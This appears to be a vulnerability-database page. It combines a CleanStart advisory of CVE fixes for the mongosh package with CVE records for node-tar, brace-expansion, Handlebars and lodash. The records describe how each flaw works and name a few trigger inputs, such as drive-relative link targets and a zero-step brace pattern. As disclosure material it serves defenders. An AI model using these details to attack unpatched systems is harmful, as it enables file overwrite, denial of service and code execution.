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Vulnerability from cleanstart
Published
2026-05-18 13:41
Modified
2026-05-06 06:24
Summary
Security fixes for CVE-2022-25881, CVE-2022-33987, CVE-2025-25285, CVE-2025-62718, CVE-2025-69873, CVE-2026-21637, CVE-2026-23745, CVE-2026-24842, CVE-2026-26960, CVE-2026-2950, CVE-2026-29786, CVE-2026-31802, CVE-2026-33750, CVE-2026-33916, CVE-2026-33937, CVE-2026-4800, CVE-2026-4923, CVE-2026-4926, ghsa-23c5-xmqv-rm74, ghsa-2qvq-rjwj-gvw9, ghsa-2w6w-674q-4c4q, ghsa-34x7-hfp2-rc4v, ghsa-3mfm-83xf-c92r, ghsa-3p68-rc4w-qgx5, ghsa-3v7f-55p6-f55p, ghsa-442j-39wm-28r2, ghsa-48c2-rrv3-qjmp, ghsa-72xf-g2v4-qvf3, ghsa-7r86-cg39-jmmj, ghsa-7rx3-28cr-v5wh, ghsa-83g3-92jg-28cx, ghsa-8qq5-rm4j-mr97, ghsa-9cx6-37pm-9jff, ghsa-9ppj-qmqm-q256, ghsa-c2c7-rcm5-vvqj, ghsa-chqc-8p9q-pq6q, ghsa-f23m-r3pf-42rh, ghsa-f886-m6hf-6m8v, ghsa-j3q9-mxjg-w52f, ghsa-pfrx-2q88-qq97, ghsa-qffp-2rhf-9h96, ghsa-r5fr-rjxr-66jc, ghsa-r6q2-hw4h-h46w, ghsa-rc47-6667-2j5j, ghsa-rmvr-2pp2-xj38, ghsa-rp42-5vxx-qpwr, ghsa-w5hq-g745-h8pq, ghsa-xhpv-hc6g-r9c6, ghsa-xjpj-3mr7-gcpf applied in versions: 2.5.10-r2, 2.5.10-r3, 2.5.10-r4, 2.5.10-r5, 2.6.0-r1
Details
Multiple security vulnerabilities affect the mongosh package. These issues are resolved in later releases. See references for individual vulnerability details.
References
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "mongosh"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.6.0-r1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"credits": [],
"database_specific": {},
"details": "Multiple security vulnerabilities affect the mongosh package. These issues are resolved in later releases. See references for individual vulnerability details.",
"id": "CLEANSTART-2026-TZ34913",
"modified": "2026-05-06T06:24:38Z",
"published": "2026-05-18T13:41:16.302553Z",
"references": [
{
"type": "ADVISORY",
"url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-TZ34913.json"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2022-25881"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2022-33987"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-25285"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-62718"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-69873"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-21637"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-23745"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-24842"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-26960"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-2950"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-29786"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-31802"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-33750"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-33916"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-33937"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-4800"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-4923"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-4926"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-23c5-xmqv-rm74"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-2qvq-rjwj-gvw9"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-2w6w-674q-4c4q"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-34x7-hfp2-rc4v"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-3mfm-83xf-c92r"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-3p68-rc4w-qgx5"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-3v7f-55p6-f55p"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-442j-39wm-28r2"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-48c2-rrv3-qjmp"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-72xf-g2v4-qvf3"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-7r86-cg39-jmmj"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-7rx3-28cr-v5wh"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-83g3-92jg-28cx"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-8qq5-rm4j-mr97"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-9cx6-37pm-9jff"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-9ppj-qmqm-q256"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-c2c7-rcm5-vvqj"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-chqc-8p9q-pq6q"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-f23m-r3pf-42rh"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-f886-m6hf-6m8v"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-j3q9-mxjg-w52f"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-pfrx-2q88-qq97"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-qffp-2rhf-9h96"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-r5fr-rjxr-66jc"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-r6q2-hw4h-h46w"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-rc47-6667-2j5j"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-rmvr-2pp2-xj38"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-rp42-5vxx-qpwr"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-w5hq-g745-h8pq"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-xhpv-hc6g-r9c6"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-xjpj-3mr7-gcpf"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25881"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-33987"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25285"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62718"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69873"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21637"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23745"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24842"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26960"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2950"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29786"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31802"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33750"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33916"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33937"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4800"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4923"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4926"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes for CVE-2022-25881, CVE-2022-33987, CVE-2025-25285, CVE-2025-62718, CVE-2025-69873, CVE-2026-21637, CVE-2026-23745, CVE-2026-24842, CVE-2026-26960, CVE-2026-2950, CVE-2026-29786, CVE-2026-31802, CVE-2026-33750, CVE-2026-33916, CVE-2026-33937, CVE-2026-4800, CVE-2026-4923, CVE-2026-4926, ghsa-23c5-xmqv-rm74, ghsa-2qvq-rjwj-gvw9, ghsa-2w6w-674q-4c4q, ghsa-34x7-hfp2-rc4v, ghsa-3mfm-83xf-c92r, ghsa-3p68-rc4w-qgx5, ghsa-3v7f-55p6-f55p, ghsa-442j-39wm-28r2, ghsa-48c2-rrv3-qjmp, ghsa-72xf-g2v4-qvf3, ghsa-7r86-cg39-jmmj, ghsa-7rx3-28cr-v5wh, ghsa-83g3-92jg-28cx, ghsa-8qq5-rm4j-mr97, ghsa-9cx6-37pm-9jff, ghsa-9ppj-qmqm-q256, ghsa-c2c7-rcm5-vvqj, ghsa-chqc-8p9q-pq6q, ghsa-f23m-r3pf-42rh, ghsa-f886-m6hf-6m8v, ghsa-j3q9-mxjg-w52f, ghsa-pfrx-2q88-qq97, ghsa-qffp-2rhf-9h96, ghsa-r5fr-rjxr-66jc, ghsa-r6q2-hw4h-h46w, ghsa-rc47-6667-2j5j, ghsa-rmvr-2pp2-xj38, ghsa-rp42-5vxx-qpwr, ghsa-w5hq-g745-h8pq, ghsa-xhpv-hc6g-r9c6, ghsa-xjpj-3mr7-gcpf applied in versions: 2.5.10-r2, 2.5.10-r3, 2.5.10-r4, 2.5.10-r5, 2.6.0-r1",
"upstream": [
"CVE-2022-25881",
"CVE-2022-33987",
"CVE-2025-25285",
"CVE-2025-62718",
"CVE-2025-69873",
"CVE-2026-21637",
"CVE-2026-23745",
"CVE-2026-24842",
"CVE-2026-26960",
"CVE-2026-2950",
"CVE-2026-29786",
"CVE-2026-31802",
"CVE-2026-33750",
"CVE-2026-33916",
"CVE-2026-33937",
"CVE-2026-4800",
"CVE-2026-4923",
"CVE-2026-4926",
"ghsa-23c5-xmqv-rm74",
"ghsa-2qvq-rjwj-gvw9",
"ghsa-2w6w-674q-4c4q",
"ghsa-34x7-hfp2-rc4v",
"ghsa-3mfm-83xf-c92r",
"ghsa-3p68-rc4w-qgx5",
"ghsa-3v7f-55p6-f55p",
"ghsa-442j-39wm-28r2",
"ghsa-48c2-rrv3-qjmp",
"ghsa-72xf-g2v4-qvf3",
"ghsa-7r86-cg39-jmmj",
"ghsa-7rx3-28cr-v5wh",
"ghsa-83g3-92jg-28cx",
"ghsa-8qq5-rm4j-mr97",
"ghsa-9cx6-37pm-9jff",
"ghsa-9ppj-qmqm-q256",
"ghsa-c2c7-rcm5-vvqj",
"ghsa-chqc-8p9q-pq6q",
"ghsa-f23m-r3pf-42rh",
"ghsa-f886-m6hf-6m8v",
"ghsa-j3q9-mxjg-w52f",
"ghsa-pfrx-2q88-qq97",
"ghsa-qffp-2rhf-9h96",
"ghsa-r5fr-rjxr-66jc",
"ghsa-r6q2-hw4h-h46w",
"ghsa-rc47-6667-2j5j",
"ghsa-rmvr-2pp2-xj38",
"ghsa-rp42-5vxx-qpwr",
"ghsa-w5hq-g745-h8pq",
"ghsa-xhpv-hc6g-r9c6",
"ghsa-xjpj-3mr7-gcpf"
]
}
CVE-2026-29786 (GCVE-0-2026-29786)
Vulnerability from cvelistv5 – Published: 2026-03-07 15:32 – Updated: 2026-06-30 12:07
VLAI
EPSS
Title
node-tar: Hardlink Path Traversal via Drive-Relative Linkpath
Summary
node-tar is a full-featured Tar for Node.js. Prior to version 7.5.10, tar can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This issue has been patched in version 7.5.10.
Severity
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/isaacs/node-tar/security/advis… | x_refsource_CONFIRM |
| https://github.com/isaacs/node-tar/commit/7bc755d… | x_refsource_MISC |
| https://access.redhat.com/security/cve/CVE-2026-29786 | vdb-entryx_refsource_REDHAT |
| https://bugzilla.redhat.com/show_bug.cgi?id=2445476 | issue-trackingx_refsource_REDHAT |
| https://security.access.redhat.com/data/csaf/v2/v… | x_sadp-csaf-vex |
Impacted products
22 products
| Vendor | Product | Version | |
|---|---|---|---|
| isaacs | node-tar |
Affected:
< 7.5.10
|
|
| Red Hat | Cryostat 4 |
cpe:/a:redhat:cryostat:4 |
|
| Red Hat | Logging Subsystem for Red Hat OpenShift |
cpe:/a:redhat:logging:5 |
|
| Red Hat | Network Observability Operator |
cpe:/a:redhat:network_observ_optr:1 |
|
| Red Hat | Red Hat 3scale API Management Platform 2 |
cpe:/a:redhat:red_hat_3scale_amp:2 |
|
| Red Hat | Red Hat Advanced Cluster Management for Kubernetes 2 |
cpe:/a:redhat:acm:2 |
|
| Red Hat | Red Hat AMQ Broker 7 |
cpe:/a:redhat:amq_broker:7 |
|
| Red Hat | Red Hat build of Apache Camel - HawtIO 4 |
cpe:/a:redhat:apache_camel_hawtio:4 |
|
| Red Hat | Red Hat Enterprise Linux 10 |
cpe:/o:redhat:enterprise_linux:10 |
|
| Red Hat | Red Hat Enterprise Linux 8 |
cpe:/o:redhat:enterprise_linux:8 |
|
| Red Hat | Red Hat Enterprise Linux 9 |
cpe:/o:redhat:enterprise_linux:9 |
|
| Red Hat | Red Hat Fuse 7 |
cpe:/a:redhat:jboss_fuse:7 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 7 |
cpe:/a:redhat:jboss_enterprise_application_platform:7 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 8 |
cpe:/a:redhat:jboss_enterprise_application_platform:8 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform Expansion Pack |
cpe:/a:redhat:jbosseapxp |
|
| Red Hat | Red Hat OpenShift AI (RHOAI) |
cpe:/a:redhat:openshift_ai |
|
| Red Hat | Red Hat OpenShift Container Platform 4 |
cpe:/a:redhat:openshift:4 |
|
| Red Hat | Red Hat Openshift Data Foundation 4 |
cpe:/a:redhat:openshift_data_foundation:4 |
|
| Red Hat | Red Hat OpenShift Dev Spaces |
cpe:/a:redhat:openshift_devspaces:3 |
|
| Red Hat | Red Hat Process Automation 7 |
cpe:/a:redhat:jboss_enterprise_bpms_platform:7 |
|
| Red Hat | Red Hat Single Sign-On 7 |
cpe:/a:redhat:red_hat_single_sign_on:7 |
|
| Red Hat | Red Hat Trusted Artifact Signer |
cpe:/a:redhat:trusted_artifact_signer:1 |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-29786",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-03-09T17:52:29.312917Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-03-09T18:26:34.057Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
},
{
"affected": [
{
"cpes": [
"cpe:/a:redhat:cryostat:4"
],
"defaultStatus": "unaffected",
"product": "Cryostat 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:logging:5"
],
"defaultStatus": "unaffected",
"product": "Logging Subsystem for Red Hat OpenShift",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:network_observ_optr:1"
],
"defaultStatus": "unaffected",
"product": "Network Observability Operator",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:red_hat_3scale_amp:2"
],
"defaultStatus": "unaffected",
"product": "Red Hat 3scale API Management Platform 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:acm:2"
],
"defaultStatus": "unaffected",
"product": "Red Hat Advanced Cluster Management for Kubernetes 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:amq_broker:7"
],
"defaultStatus": "unaffected",
"product": "Red Hat AMQ Broker 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:apache_camel_hawtio:4"
],
"defaultStatus": "unaffected",
"product": "Red Hat build of Apache Camel - HawtIO 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:10"
],
"defaultStatus": "unaffected",
"product": "Red Hat Enterprise Linux 10",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:8"
],
"defaultStatus": "unaffected",
"product": "Red Hat Enterprise Linux 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:9"
],
"defaultStatus": "unaffected",
"product": "Red Hat Enterprise Linux 9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_fuse:7"
],
"defaultStatus": "unaffected",
"product": "Red Hat Fuse 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform:7"
],
"defaultStatus": "unaffected",
"product": "Red Hat JBoss Enterprise Application Platform 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform:8"
],
"defaultStatus": "unaffected",
"product": "Red Hat JBoss Enterprise Application Platform 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jbosseapxp"
],
"defaultStatus": "unaffected",
"product": "Red Hat JBoss Enterprise Application Platform Expansion Pack",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift:4"
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CVE-2026-31802 (GCVE-0-2026-31802)
Vulnerability from cvelistv5 – Published: 2026-03-09 21:11 – Updated: 2026-03-10 14:56
VLAI
EPSS
Title
node-tar Symlink Path Traversal via Drive-Relative Linkpath
Summary
node-tar is a full-featured Tar for Node.js. Prior to version 7.5.11, tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This vulnerability is fixed in 7.5.11.
Severity
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
- CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Assigner
References
2 references
| URL | Tags |
|---|---|
| https://github.com/isaacs/node-tar/security/advis… | x_refsource_CONFIRM |
| https://github.com/isaacs/node-tar/commit/f48b5fa… | x_refsource_MISC |
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CVE-2026-33750 (GCVE-0-2026-33750)
Vulnerability from cvelistv5 – Published: 2026-03-27 14:04 – Updated: 2026-03-27 14:48
VLAI
EPSS
Title
brace-expansion: Zero-step sequence causes process hang and memory exhaustion
Summary
The brace-expansion library generates arbitrary strings containing a common prefix and suffix. Prior to versions 5.0.5, 3.0.2, 2.0.3, and 1.1.13, a brace pattern with a zero step value (e.g., `{1..2..0}`) causes the sequence generation loop to run indefinitely, making the process hang for seconds and allocate heaps of memory. Versions 5.0.5, 3.0.2, 2.0.3, and 1.1.13 fix the issue. As a workaround, sanitize strings passed to `expand()` to ensure a step value of `0` is not used.
Severity
6.5 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
- CWE-400 - Uncontrolled Resource Consumption
Assigner
References
10 references
| URL | Tags |
|---|---|
| https://github.com/juliangruber/brace-expansion/s… | x_refsource_CONFIRM |
| https://github.com/juliangruber/brace-expansion/i… | x_refsource_MISC |
| https://github.com/juliangruber/brace-expansion/pull/95 | x_refsource_MISC |
| https://github.com/juliangruber/brace-expansion/pull/96 | x_refsource_MISC |
| https://github.com/juliangruber/brace-expansion/pull/97 | x_refsource_MISC |
| https://github.com/juliangruber/brace-expansion/c… | x_refsource_MISC |
| https://github.com/juliangruber/brace-expansion/c… | x_refsource_MISC |
| https://github.com/juliangruber/brace-expansion/c… | x_refsource_MISC |
| https://github.com/juliangruber/brace-expansion/b… | x_refsource_MISC |
| https://github.com/juliangruber/brace-expansion/b… | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| juliangruber | brace-expansion |
Affected:
>= 4.0.0, < 5.0.5
Affected: >= 3.0.0, < 3.0.2 Affected: >= 2.0.0, < 2.0.3 Affected: < 1.1.13 |
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CVE-2026-33916 (GCVE-0-2026-33916)
Vulnerability from cvelistv5 – Published: 2026-03-27 21:00 – Updated: 2026-03-30 15:41
VLAI
EPSS
Title
Handlebars.js has Prototype Pollution Leading to XSS through Partial Template Injection
Summary
Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, `resolvePartial()` in the Handlebars runtime resolves partial names via a plain property lookup on `options.partials` without guarding against prototype-chain traversal. When `Object.prototype` has been polluted with a string value whose key matches a partial reference in a template, the polluted string is used as the partial body and rendered without HTML escaping, resulting in reflected or stored XSS. Version 4.7.9 fixes the issue. Some workarounds are available. Apply `Object.freeze(Object.prototype)` early in application startup to prevent prototype pollution. Note: this may break other libraries, and/or use the Handlebars runtime-only build (`handlebars/runtime`), which does not compile templates and reduces the attack surface.
Severity
4.7 (Medium)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://github.com/handlebars-lang/handlebars.js/… | x_refsource_CONFIRM |
| https://github.com/handlebars-lang/handlebars.js/… | x_refsource_MISC |
| https://github.com/handlebars-lang/handlebars.js/… | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| handlebars-lang | handlebars.js |
Affected:
>= 4.0.0, < 4.7.9
|
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CVE-2026-33937 (GCVE-0-2026-33937)
Vulnerability from cvelistv5 – Published: 2026-03-27 21:03 – Updated: 2026-07-02 12:05
VLAI
EPSS
Title
Handlebars.js has JavaScript Injection via AST Type Confusion
Summary
Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, `Handlebars.compile()` accepts a pre-parsed AST object in addition to a template string. The `value` field of a `NumberLiteral` AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to `compile()` can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server. Version 4.7.9 fixes the issue. Some workarounds are available. Validate input type before calling `Handlebars.compile()`; ensure the argument is always a `string`, never a plain object or JSON-deserialized value. Use the Handlebars runtime-only build (`handlebars/runtime`) on the server if templates are pre-compiled at build time; `compile()` will be unavailable.
Severity
9.8 (Critical)
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: total
CISA Coordinator (v2.0.3)
CWE
Assigner
References
8 references
| URL | Tags |
|---|---|
| https://github.com/handlebars-lang/handlebars.js/… | x_refsource_CONFIRM |
| https://github.com/handlebars-lang/handlebars.js/… | x_refsource_MISC |
| https://github.com/handlebars-lang/handlebars.js/… | x_refsource_MISC |
| https://access.redhat.com/security/cve/CVE-2026-33937 | vdb-entryx_refsource_REDHAT |
| https://bugzilla.redhat.com/show_bug.cgi?id=2452523 | issue-trackingx_refsource_REDHAT |
| https://security.access.redhat.com/data/csaf/v2/v… | x_sadp-csaf-vex |
| https://access.redhat.com/errata/RHSA-2026:34342 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:10175 | vendor-advisoryx_refsource_REDHAT |
Impacted products
12 products
| Vendor | Product | Version | |
|---|---|---|---|
| handlebars-lang | handlebars.js |
Affected:
>= 4.0.0, < 4.7.9
|
|
| Red Hat | Cluster Observability Operator 1.5.0 |
cpe:/a:redhat:cluster_observability_operator:1.5::el9 |
|
| Red Hat | Red Hat OpenShift Dev Spaces 3.27 |
cpe:/a:redhat:openshift_devspaces:3.27::el9 |
|
| Red Hat | Logging Subsystem for Red Hat OpenShift |
cpe:/a:redhat:logging:5 |
|
| Red Hat | Red Hat Enterprise Linux 10 |
cpe:/o:redhat:enterprise_linux:10 |
|
| Red Hat | Red Hat Enterprise Linux 8 |
cpe:/o:redhat:enterprise_linux:8 |
|
| Red Hat | Red Hat Enterprise Linux 9 |
cpe:/o:redhat:enterprise_linux:9 |
|
| Red Hat | Cryostat 4 |
cpe:/a:redhat:cryostat:4 |
|
| Red Hat | Red Hat Data Grid 8 |
cpe:/a:redhat:jboss_data_grid:8 |
|
| Red Hat | Red Hat Enterprise Linux 7 |
cpe:/o:redhat:enterprise_linux:7 |
|
| Red Hat | Red Hat OpenShift AI (RHOAI) |
cpe:/a:redhat:openshift_ai |
|
| Red Hat | Red Hat Process Automation 7 |
cpe:/a:redhat:jboss_enterprise_bpms_platform:7 |
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CVE-2026-4800 (GCVE-0-2026-4800)
Vulnerability from cvelistv5 – Published: 2026-03-31 19:25 – Updated: 2026-07-03 12:04
VLAI
EPSS
Title
lodash vulnerable to Code Injection via `_.template` imports key names
Summary
Impact:
The fix for CVE-2021-23337 (https://github.com/advisories/GHSA-35jh-r3h4-6jhm) added validation for the variable option in _.template but did not apply the same validation to options.imports key names. Both paths flow into the same Function() constructor sink.
When an application passes untrusted input as options.imports key names, an attacker can inject default-parameter expressions that execute arbitrary code at template compilation time.
Additionally, _.template uses assignInWith to merge imports, which enumerates inherited properties via for..in. If Object.prototype has been polluted by any other vector, the polluted keys are copied into the imports object and passed to Function().
Patches:
Users should upgrade to version 4.18.0.
Workarounds:
Do not pass untrusted input as key names in options.imports. Only use developer-controlled, static key names.
Severity
8.1 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator (v2.0.3)
CWE
- CWE-94 - Improper Control of Generation of Code ('Code Injection')
Assigner
References
60 references
| URL | Tags |
|---|---|
| https://github.com/advisories/GHSA-35jh-r3h4-6jhm | |
| https://github.com/lodash/lodash/commit/3469357cf… | |
| https://cna.openjsf.org/security-advisories.html | |
| https://access.redhat.com/security/cve/CVE-2026-4800 | vdb-entryx_refsource_REDHAT |
| https://bugzilla.redhat.com/show_bug.cgi?id=2453496 | issue-trackingx_refsource_REDHAT |
| https://security.access.redhat.com/data/csaf/v2/v… | x_sadp-csaf-vex |
| https://access.redhat.com/errata/RHSA-2026:24762 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:17789 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:24331 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:34342 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:11470 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:10713 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:19008 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:11493 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:11494 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:11495 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:11454 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:11469 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:11516 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:11471 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:10710 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:19167 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:19409 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:19410 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:16874 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:13553 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:13545 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:22619 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:9742 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:13826 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:24977 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:19712 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:17598 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:21658 | vendor-advisoryx_refsource_REDHAT |
